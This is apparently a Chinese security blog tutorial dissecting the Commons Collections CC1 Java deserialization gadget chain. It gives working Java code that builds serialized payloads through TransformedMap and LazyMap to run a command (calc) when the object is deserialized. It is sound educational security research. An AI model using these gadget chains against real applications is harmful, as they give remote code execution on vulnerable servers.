CommonsCollections1

Chiexf Lv4

0x00 前言

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

0x01 利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Gadget chain:
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x02 代码分析

首先,先写一个普通反射调用的方法

1
2
3
4
5
//反射调用打开计算器
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");

Tranformer

CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。

1
2
3
public interface Transformer {
public Object transform(Object input);
}

可以看到接口中的transform方法要求传入一个对象,并且返回的也是一个对象。

寻找下继承了这个接口的类,由于知道利用链了,就直接看一下InvokerTransformer

InvokerTransformer

InvokerTransformer是实现了transform接口的一个类,可以用来执行任意方法,这也是反序列化能执行任意代码的关键

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

1
2
3
4
5
6
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

找到后面的回调transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}

//省略部分代码......

}

可以很清楚的看到参数是可控的,而且利用了反射的方法,这样就可以用来执行任意方法,这也是反序列化能执行任意代码的关键

改写成InvokerTransformer类调用的形式

1
2
3
4
5
6
7
//反射调用打开计算器
Runtime r = Runtime.getRuntime();
//Class c = Runtime.class;
//Method exec = c.getMethod("exec", String.class);
//exec.invoke(r,"calc");

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

再来寻找下,谁调用了transform,可以看到TransformedMap类中有挺多方法调用了transform方法

我们可以来看一下checkSetValue方法,可以看到调用了valueTransformertransform方法

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

再找找valueTransformer是哪来的,可以直接看下构造函数

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象

可以看到构造器跟方法都是protected修饰,那就只能内部调用,不能外部实例化,所以就需要找到内部实例化的工具

往上翻可以看到有个decorate静态方法

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

那就是说我们可以先调用decorate方法,在实例化这个类,然后在调用checkSetValue方法

那就修改下代码,改成decorate方法调用

这里把map当成参数传入,因为只要用到第三个参数valueTransformer,所以第二个参数keyTransformer可以为null,这里的valueTransformer就是前面的invokerTransformer

1
2
3
4
5
6
7
8
9
//反射调用打开计算器
Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

//实例化一个HashMap
HashMap<Object, Object> map = new HashMap<>();

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, invokerTransformer);

再找一下哪里调用了checkSetValue方法

MapEntry

可以看到只有AbstractInputCheckedMapDecorator的内部的MapEntry类中调用了checkSetValue()

AbstractInputCheckedMapDecorator也是TransformedMap父类,是一个抽象类。

1
2
3
4
5
6
7
8
static class MapEntry extends AbstractMapEntryDecorator {
//省略部分代码......

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

可以再找下谁调用了setValue方法,可以发现还挺多,那我们就尝试理解下这个给代码吧

在 Java 中,Map.Entry 是一个接口,用于表示 Map 接口中的键值对。它提供了访问和操作 Map中的键值对的方法。

Map.Entry 接口定义了以下几个方法:

  • getKey():返回键对象。
  • getValue():返回值对象。
  • setValue(V value):设置当前键对应的新值,并返回之前的旧值。
  • equals(Object obj):判断指定对象是否与当前键对相等。
  • hashCode():返回键对的哈希码值。

Map.Entry 接口通常用于遍历和操作 Map 集合中的键值对。通过调用 entrySet() 方法,可以获取Map对象中所有键值对的集合视图,并通过迭代器或增强型for 循环遍历每个键值对。

而上面的MapEntry其实就是重写了Map.Entry接口中的setValue方法,可以看到父类AbstractInputCheckedMapDecorator中有setValue方法

1
2
3
public Object setValue(Object object) {
return entry.setValue(object);
}

而且AbstractInputCheckedMapDecorator还引入了Map.Entry接口,所以我们只需要遍历Map,就可以调用setValue方法,即调用了checkSetValue方法

1
2
3
4
5
//遍历一个Map的写法
for (Map.Entry entry : map.entrySet()) {
System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue());
}
//可以看到这里的entry就代表一个键值对,通过getKey()和getValue()方法得到键值

所以改写下上面的代码,把** r **当成对象传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//反射调用打开计算器
Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

//实例化一个HashMap
HashMap<Object, Object> map = new HashMap<>();

//给map一个键值对,方便遍历
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry: transformedMp.entrySet()){
entry.setValue(r);
}

接着找一下哪里调用了setValue,最好是重写过的readObject方法,里面调用了setValue

AnnotationInvocationHandler

可以看到AnnotationInvocationHandler这个类中看到有个调用了setValue方法的readObject方法,刚好也有个遍历Map的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

看下构造器,可以看到第一个参数是继承了注解的class,第二个是Map,这里可以传入我们前面的transformedMp

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

但是在定义这个类的时候并不是public,无法new出来,因此只能通过反射去实例化这个类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//反射调用打开计算器
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, invokerTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMp);

serialize(o);
unserialize("ser.bin");

看着好像构造完了,但是会发现,运行的时候不会弹出计算器

debug后可以发现AnnotationInvocationHandler类的readObject方法的for循环中

if条件判断里memberType为空,导致setValue不能执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

可以知道memberType是取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称

而我们所使用的Override注解是没有成员变量的

1
2
3
4
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}

但是可以发现,Target注解有个名为value的成员变量,而且也需要将put() 方法里面的key的值是否为value

1
2
3
4
5
6
7
8
9
10
11
12
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
/**
* Returns an array of the kinds of elements an annotation type
* can be applied to.
* @return an array of the kinds of elements an annotation type
* can be applied to
*/
ElementType[] value();
}

所以只需将Override注解改成Target注解,则memberType就不会为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//反射调用打开计算器
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, invokerTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMp);

serialize(o);
unserialize("ser.bin");

反射获取getRuntime

还有就是Runtime类是没有实现java.io.Serializable接口的,所以不允许被序列化。

但是Class类是可以被序列化的,所以我们需要利用反射来解决

1
2
3
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");

再将其改成InvokerTransformer调用

1
2
3
4
5
6
7
8
Class runtimeClass = Runtime.class;

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);

Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

ChainedTransformer

这样是能成功运行了,但是发现这样嵌套是有点麻烦的

然后注意到有个ChainedTransformer类,这个类也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

通俗来讲就是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

所以重写个**Transformer[]**数组用来存放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMp);

serialize(o);
unserialize("ser.bin");

执行后会发现,在没有序列化前就已经可以弹出计算器了,而且在反序列化后是没有执行成功的,还报出了这个错误

1
AnnotationTypeMismatchExceptionProxy' does not exist

ConstantTransformer

debug发现,在setValue时,其中的value的值不是我们传的RunTime.class

1
2
3
4
5
6
7
8
9
10
11
12
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

这里就需要ConstantTransformer类,我们看到这个类里面也有transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}

根据代码我们可以看出,transform可以返回构造器中的iConstant

而且可以实现传入什么值,就会返回某个值

这样就能将value的值转为Runtime.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","test");

Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMp);

serialize(o);
unserialize("ser.bin");

这是P牛在Java漫谈中讲解的一条利用TransformedMap构造的一条CC1

0x03 ysoserial的CC1

上面的代码是可以正常利用了,但是不算是真正的CC1

因为ysoserial中使用的是LazyMap,代替了TransformedMap

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

代码分析

知道利用链了,直接看对应类和方法了

LazyMapTransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator

可以看到从ChainedTransformer的命令是一样的

LazyMap

所以从LazyMap的**get()**方法看起

TransformedMap是在写入元素的时候执行命令

LazyMap是在get()方法找不到key值的时候,去调用**factory.transform()**方法去获取一个值

1
2
3
4
5
6
7
8
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);

factory是一个可控的Transformer

1
protected final Transformer factory;

但调用**get()**方法的太多了,直接就看它的了

由于在AnnotationInvocationHandlerreadObject中没有直接调用**get()**的方法

所以走了AnnotationInvocationHandler的**invoke()方法,里面有调用到get()**方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object invoke(Object proxy, Method method, Object[] args) {

//省略部分代码......

// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}

动态代理

怎么才能调用这个**invoke()**方法呢?

那就该利用动态代理了

当动态代理类的代理对象调用任意方法的时候,就会进入到这个实现了InvocationHandler接口的类中的**invoke()**方法中

而且可以发现这个类实现了InvocationHandler接口,因此能够用作动态代理

1
2
3
class AnnotationInvocationHandler implements InvocationHandler, Serializable{
//省略部分代码......
}

但是我们会发现AnnotationInvocationHandler的**invoke()方法中,如果想要调用get()**方法,还需要绕过两个if判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

//省略部分代码......
}

当你调用equals方法,就会直接return这个equalsImpl方法

而且当你paramTypes.length != 0,就是说调用有参方法的话,就会抛出异常

所以我们要在AnnotationInvocationHandlerreadObject的一个无参方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

挺凑巧,刚好有个memberValues.entrySet()

而且AnnotationInvocationHandler接收Map

1
private final Map<String, Object> memberValues

并且入口类是AnnotationInvocationHandler,所以还需要重新实例化下mapProxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);

serialize(o);
unserialize("ser.bin");

0x04 总结

  • TransformedMap

AnnotationInvocationHandler.readObject()开始,调用TransformedMap类从其父类AbstractInputCheckedMapDecorator中继承setValue()方法

然后调用TransformedMap.checkSetvalue(),该方法将调用传入ChainedTransformer里的Transformer接口的transform()方法

ConstantTransform类和InvokerTransformer类以及反射的配合,实现了任意代码执行

  • LazyMap

同样从AnnotationInvocationHandler.readObject()开始,利用动态代理调用被代理类的任意方法能够调用invoke()方法的特性

AnnotationInvocationHandlerentrySet()方法触发AnnotationInvocationHandler.invoke()方法

从而实现调用LazyMap.get(),在从get()方法走到transform()方法,后面的内容相同

0x05 参考

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSechttps://space.bilibili.com/2142877265f )